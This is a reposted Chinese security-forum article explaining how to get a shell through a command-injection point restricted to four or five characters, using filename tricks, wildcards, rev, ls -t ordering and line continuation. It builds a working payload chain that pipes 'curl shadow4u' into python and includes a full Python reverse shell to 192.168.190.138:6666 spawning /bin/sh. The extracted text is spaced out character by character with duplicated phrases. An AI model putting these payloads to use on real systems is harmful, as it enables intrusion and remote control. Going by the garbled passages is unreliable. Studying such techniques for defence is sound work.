搜索

[12083] 2017-12-03_挖洞经验命令注入突破长度限制

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2017-12-03_挖洞经验命令注入突破长度限制 挖 洞 经 验   |   命 令 注 入 突 破 长 度 限 制 s h a d o w 4 u   F r e e B u f   2 0 1 7 - 1 2 - 0 3 0 x 0 1   背 景 背 景 很 多 时 候 ， 在 我 们 历 经 千 辛 万 苦 挖 掘 出 一 个 漏 洞 或 者 找 到 一 个 利 用 点 的 时 候 ， 却 因 为 一 些 很 多 时 候 ， 在 我 们 历 经 千 辛 万 苦 挖 掘 出 一 个 漏 洞 或 者 找 到 一 个 利 用 点 的 时 候 ， 却 因 为 一 些 e g g   h u r t 的 限 制 ， 导 的 限 制 ， 导 致 致 g e t   s h e l l 或 者 或 者 s e n d   p a y l o a d 无 法 成 功 ， 其 实 很 多 高 手 都 是 有 一 些 无 法 成 功 ， 其 实 很 多 高 手 都 是 有 一 些 t r i c k 的 ， 但 是 往 往 一 串 包 含 各 种 的 ， 但 是 往 往 一 串 包 含 各 种 t r i c k 的 高 深 的 高 深 p a y l o a d 甩 得 你 不 知 所 云 甩 得 你 不 知 所 云 最 近 遇 到 这 样 一 个 问 题 。 命 令 长 度 限 制 在 5 ， 如 何 完 成 注 入 g e t   s h e l l ？ A r r a y 什 么 的 都 尝 试 无 果 ， 在 学 习 了 各 种 大 牛 的 t r i c k 后 ， 才 恍 然 大 悟 ， 希 望 给 初 学 者 提 供 一 些 新 的 思 路 ， 集 思 广 益 。 0 x 0 2   命 令 组 装 命 令 组 装 首 先 是 命 令 组 装 ， 先 来 看 一 个 例 子 ， 准 备 工 作   m k d i r   c m d ; c d   c m d ; 分 别 输 入 > e c h o   > h e l l o ， 可 以 看 到 分 别 创 建 了 两 个 文 件 e c h o 和   h e l l o ， 然 后 执 行 * ， 结 果 输 出 了 h e l l o 很 多 人 一 定 已 经 明 白 此 时 等 于   e c h o   h e l l o ， 我 们 可 以 通 过 * * _ e c h o   _   来 查 看 来 查 看 * 到 底 是 啥 这 样 ， 我 们 通 过 > e c h o   > h e l l o   完 成 命 令 组 装 ， 然 后 *   组 成 并 执 行 了 命 令 e c h o   h e l l o 同 样 的 道 理 不 过 这 次 让 我 们 把 命 令 长 度 限 制 到 4 那 么 如 果 我 们 要 执 行 命 令 l s   - l 怎 么 办
我 们 模 仿 上 面 做 法 ， 输 入 > l s   和 > - l 产 生 了 两 个 文 件   l s   - l 这 有 个 问 题 ， 我 们 刚 才 生 成 的 e c h o 和 h e l l o ， e   的 顺 序 正 好 在 h 之 前 ， 所 以 o k 。 但 是 此 时 文 件 的 显 示 顺 序 - l 在   l s 前 面 ， 如 果 我 们 执 行   其 实 是 执 行 _ * - l   l s _ ， 会 出 现 错 误 那 么 如 何 获 得 l s   - l 呢 ， 先 是 第 一 种 思 路 0 x 0 3   反 转 命 令 反 转 命 令 我 们 把 这 个 命 令 字 符 序 列 反 过 来 看   l -   s l 这 样 是 不 是 顺 序 正 好 满 足 要 求 ， 接 下 来 我 们 只 需 要 用 一 个 可 以 把 字 符 反 过 来 的 命 令 ， 就 可 以 完 成 这 个 功 能 这 样 ， 我 们 先 生 成 l - 和 s l 两 个 命 令 然 后 将 l -   s l 组 合 写 入 文 件 v （ 为 什 么 文 件 名 要 用 v   ， 下 面 会 解 释 ， 是 个 t r i c k ） ， 最 后 用 一 个 命 令 将 文 件 中 的 字 节 反 转 如 果 我 们 直 接 使 用 l s > v 可 以 看 到 文 件 v 中 多 了 一 个 v ， 对 我 们 命 令 造 成 干 扰 我 们 只 想 文 件 中 存 在 l - 和 s l _ t r i c k 1 _ 这 里 有 个 技 巧 d i r   a   b > c 只 会 将 a   b 写 到 文 件 c 中 我 们 创 建 一 个 名 为 d i r 的 文 件 ， 然 后 执 行 * > v ， 可 以 获 得 l -   和 l s
接 下 来 就 是 反 序 t r i c k 2 有 一 个 r e v 命 令 ， 正 好 可 以 将 内 容 反 序 ， 我 们 产 生 一 个 名 为 r e v 的 文 件 ， 然 后 执 行 * v   ， 此 时 命 令 相 当 于 r e v   v （ 这 里 就 是 上 面 为 啥 文 件 命 名 为 v ， 为 了 被 通 配 符 匹 配 ） ， 这 样 就 产 生 了 我 们 要 的 输 出 l s   - l 然 后 就 是 输 出 到 文 件 x ， 然 后 就 可 以 执 行 s h   x ， 成 功 以 4   个 字 符 执 行 长 度 为 5 的 l s   - l 命 令 整 个 命 令 链 ( 长 度 < = 4 ) 完 成 l s   - l 0 x 0 4   控 制 顺 序 控 制 顺 序 理 解 上 述 命 令 之 后 假 设 我 们 要 生 成 l s   - t   > g 逆 序 是 g <   t -   s l ， 按 照 字 母 顺 序   t -   会 在   s l   后 面 ， 不 满 足 需 要 。 所 以 我 们 变 通 一 下 ， 生 成 命 令 l s   - t h   > g ， 逆 序 就 是 g >   h t -   s l ， 正 好 满 足 顺 序 要 求 ， 然 后 依 葫 芦 画 瓢
上 面 说 到 文 件 名 排 列 的 时 候 有 默 认 顺 序 ， 怎 么 自 由 控 制 顺 序 呢 其 实 l s   - t   也 就 是 根 据 m t i m e 排 序 ， 新 的 在 前 面 而 - h 对 顺 序 本 身 没 什 么 影 响 ， 可 以 方 便 构 造 p a y l o a d 比 如 我 们 要 生 成 l s   - l ， 可 以 通 过 l s   - t 打 破 默 认 顺 序 0 x 0 5   命 令 续 行 命 令 续 行 通 过 前 面 的 一 连 串 命 令 ， 我 们 已 经 得 到 l s   - t h   > g t r i c k 4 然 后 还 有 一 点 ， l i n u x 的 命 令 续 行 ， 比 如 l s 分 成 两 行 ， 都 是 o k 这 样 ， 我 们 就 可 以 构 造 一 连 串 的 拼 接 命 令 续 航 。 比 如 ， 我 要 构 造 命 令 c u r l   s h a d o w 4 u | p y t h o n ;       _ t r i c k 3 _
p y 这 里 看 着 是 5 个 字 符 ， 超 过 了 4 个 的 限 制 ， 实 际 上 是 因 为   s h e l l 环 境 需 要 输 入 产 生 ， 但 是 p h p   代 码 e x e c 时 ， 只 需 要 输 入 即 可 产 生 ， 比 如   e x e c ( “ > p y ” ) 即 可 。 所 以 这 里 实 际 上 是 不 超 过 4 个 字 符 的 ， 为 了 演 示 直 观 ， 在 s h e l l 中 直 接 执 行 。 执 行 l s   - t h > g 然 后 s h   g ， 实 际 执 行 反 弹 s h e l l 命 令 c u r l   s h a d o w 4 u 获 得 的 内 容 0 x 0 6   p a y l o a d 链 链 所 以 ， 完 整 p a y l o a d 链 为 生 成 包 含 l s   - t h   > g 文 件 x 然 后 生 成 c u r l   s h a d o w 4 u | p y t h o n 命 令 续 行 文 件 i m p o r t s o c k e t , s u b p r o c e s s , o s ; s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M ) ; s . c o n n e c t ( ( " 1 9 2 . 1 6 8 . 1 9 0 . 1 3 8 " , 6 6 6 6 ) ) ; o s . d u p 2 ( s . f i l e n o ( ) , 0 ) ; o s . d u p 2 ( s . f i l e n o ( ) , 1 ) ; o s . d u p 2 ( s . f i l e n o ( ) , 2 ) ; p = s u b p r o c e s s . c a l l ( [ " / b i n / s h " , " - i " ] ) ;
然 后 执 行 s h   x 把 c u r l   s h a d o w 4 u | p y t h o n 命 令 写 入 文 件 g 然 后 执 行 s h   g ， g e t s h e l l 0 x 0 7   总 结 总 结 4 个 t r i c k 思 路 加 上 重 定 向 和 反 弹 s h e l l 知 识 t r i c k 1   命 令 组 装   d i r   a   b   > c t r i c k 2   通 配 符 的 妙 用   * v = r e v   v
t r i c k 3   按 时 间 顺 序 排 列 文 件   l s   - t t r i c k 4   命 令 续 行 * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： s h a d o w 4 u ， 属 于 ， 属 于 F r e e B u f 原 创 奖 励 计 划 ， 禁 止 转 载 原 创 奖 励 计 划 ， 禁 止 转 载 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理